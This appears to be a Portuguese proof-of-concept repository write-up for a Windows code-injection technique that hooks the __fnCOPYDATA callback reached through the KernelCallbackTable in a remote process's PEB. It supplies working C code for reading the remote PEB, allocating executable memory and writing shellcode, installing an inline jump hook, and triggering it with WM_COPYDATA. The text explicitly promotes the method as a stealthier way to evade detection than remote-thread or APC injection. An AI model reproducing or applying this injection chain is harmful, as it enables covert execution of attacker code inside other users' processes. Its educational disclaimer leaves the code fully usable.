
Abusando do mecanismo de callback do kernel win32k.sys para execução arbitrária de código
Este repositório é fornecido estritamente para fins educacionais e de pesquisa defensiva.
Ele demonstra os mecanismos internos de despacho de callbacks do Windows e conceitos de fluxo de controle relacionados à KernelCallbackTable em um contexto de prova de conceito.
O autor não assume nenhuma responsabilidade por uso indevido.
Esta técnica de injeção abusa do caminho de despacho de callbacks do kernel para o usuário usado pelo subsistema gráfico do Windows (win32k.sys) para obter execução de código dentro de um processo remoto. Ao localizar a KernelCallbackTableatravés doProcess Environment Block (PEB)` do processo alvo, um operador pode enumerar entradas de callback e identificar rotinas legítimas de modo usuário invocadas durante transições de kernel relacionadas à GUI.
Em vez de realizar a tradicional KernelCallbackTable Injection, em que uma entrada de callback é sobrescrita diretamente com o endereço do shellcode, esta variação aplica hook no destino legítimo de callback referenciado pela tabela e redireciona a execução para um shellcode controlado pelo atacante quando invocado. Como a execução é sequestrada por meio de um caminho de callback existente e esperado, a técnica pode fornecer uma alternativa mais furtiva a primitivas mais convencionais, como criação de threads remotas ou APC-based injection.
O subsistema gráfico do Windows delega partes do processamento relacionado à GUI para o modo usuário por meio de um mecanismo de callback iniciado a partir do modo kernel. Quando win32k.sys exige lógica para ser executada no contexto de um processo GUI, ele invoca KeUserModeCallback para realizar uma transição controlada do modo kernel para o modo usuário, preservando o limite de isolamento entre ambos os contextos de execução.
Essa transição estabelece o caminho de execução legítimo por meio do qual o kernel despacha callbacks do subsistema gráfico para o modo usuário — o mesmo caminho posteriormente abusado pela técnica apresentada.
Quando a transição é concluída, a execução entra em KiUserCallbackDispatcher, uma rotina da ntdll.dll responsável por receber o índice de callback fornecido pelo kernel e despachar a execução para o manipulador de callback de modo usuário correspondente. Essa rotina serve como ponto de entrada obrigatório para todos os callbacks iniciados por meio de KeUserModeCallback.
Como toda a resolução de callbacks converge neste dispatcher, KiUserCallbackDispatcher funciona como o pivô central entre as solicitações de callback do kernel e sua eventual execução no modo usuário.
Para resolver o destino de um callback solicitado, KiUserCallbackDispatcher consulta a KernelCallbackTable armazenada no PEB do processo alvo. Cada entrada da tabela contém um ponteiro para uma rotina de callback de modo usuário associada a uma operação específica do subsistema gráfico, normalmente implementada em user32.dll.
Técnicas tradicionais de KernelCallbackTable Injection sobrescrevem diretamente uma ou mais dessas entradas para redirecionar a execução. Embora eficazes, modificar a própria tabela introduz anomalias estruturais que podem ser trivialmente detectadas por meio da validação de integridade do PEB ou do conteúdo da tabela de callbacks. A técnica apresentada evita isso preservando a estrutura da tabela e, em vez disso, aplicando detour no destino de callback referenciado pela entrada.
Entre as entradas disponíveis da KernelCallbackTable, __fnCOPYDATA fornece uma primitiva de gatilho particularmente conveniente porque pode ser invocada externamente ao entregar uma mensagem WM_COPYDATA por meio de SendMessage(). Isso permite que o callback seja acionado deterministicamente sem exigir estado incomum do processo ou interação complexa.
Ao aproveitar um destino de callback naturalmente acessível e frequentemente usado, a técnica obtém uma primitiva de execução confiável, permanecendo totalmente dentro da cadeia de despacho de callbacks esperada antes do redirecionamento.

A técnica começa localizando o processo alvo e lendo seu PEB para recuperar o endereço da KernelCallbackTable, a partir do qual o ponteiro de callback para __fnCOPYDATA é resolvido. Em seguida, memória executável é alocada dentro do processo remoto, e um shellcode controlado pelo atacante é gravado na região alocada. Antes da modificação, os bytes originais da rotina de callback legítima são preservados para permitir restauração posterior.
Um hook inline é subsequentemente instalado no início da rotina __fnCOPYDATA resolvida, substituindo seu prólogo por um salto absoluto para o shellcode injetado. Para acionar a execução, uma mensagem WM_COPYDATA é enviada para a janela alvo, fazendo com que o subsistema gráfico do Windows despache __fnCOPYDATA por meio da cadeia padrão de callback do kernel para o usuário. Quando a execução é concluída, os bytes originais do callback são restaurados para preservar a estabilidade do processo e reduzir artefatos residuais de modificação.
A KernelCallbackTable está localizada no deslocamento 0x58 dentro do PEB:

A seguinte lógica é usada para obtê-la:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
O código começa chamando NtQueryInformationProcess com a classe de informações ProcessBasicInformation para preencher uma estrutura PROCESS_BASIC_INFORMATION, que expõe o endereço do PEB do processo remoto por meio do campo PebBaseAddress.
Em seguida, NtReadVirtualMemory é usado para ler o PEB remoto em uma estrutura PEB local, permitindo a extração do ponteiro da KernelCallbackTable armazenado no ambiente do processo. Após validar que a tabela de callbacks está presente, uma segunda chamada a NtReadVirtualMemory copia a estrutura remota KERNELCALLBACKTABLE para a memória local, permitindo a resolução direta de destinos de callback, como __fnCOPYDATA, para o detour subsequente.

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory reserva memória executável dentro do processo remoto e retorna seu endereço base por meio de remoteShellcodeAddr. O tamanho da alocação é derivado do comprimento do buffer do shellcode.
NtWriteVirtualMemory então copia o shellcode para a região alocada, preparando o payload no processo alvo para execução posterior por meio do detour de callback.
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote prepara o destino de callback remoto para o detour, armazenando os endereços da função original e do detour dentro da estrutura INLINEHOOKTABLE. Ele preserva o prólogo original do callback lendo os primeiros bytes da rotina alvo com NtReadVirtualMemory e, em seguida, altera a proteção dessa região para PAGE_EXECUTE_READWRITE usando NtProtectVirtualMemory para que ela possa ser corrigida com segurança.
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote constrói um stub de salto absoluto x64 (mov r10, <detour>; jmp r10) que redireciona a execução para o shellcode injetado. O stub de salto é então gravado sobre o início da rotina de callback alvo via NtWriteVirtualMemory, instalando efetivamente o hook inline.
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote restaura a rotina de callback original gravando novamente os bytes do prólogo preservados na estrutura INLINEHOOKTABLE. Em seguida, restabelece os atributos de proteção de memória originais da região corrigida usando NtProtectVirtualMemory, removendo o hook inline e retornando o destino de callback ao seu estado inicial.
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
Para acionar a execução, uma mensagem WM_COPYDATA é enviada para a janela alvo via SendMessageW, forçando o dispatcher de callbacks do Windows a invocar a rotina __fnCOPYDATA com hook por meio do caminho normal de callback do kernel para o usuário. Após a conclusão da execução, RemoveHookRemote restaura os bytes originais do callback para preservar a estabilidade do processo.
Uma vez que a lógica é implementada, a prova de conceito pode ser executada para produzir o seguinte resultado:
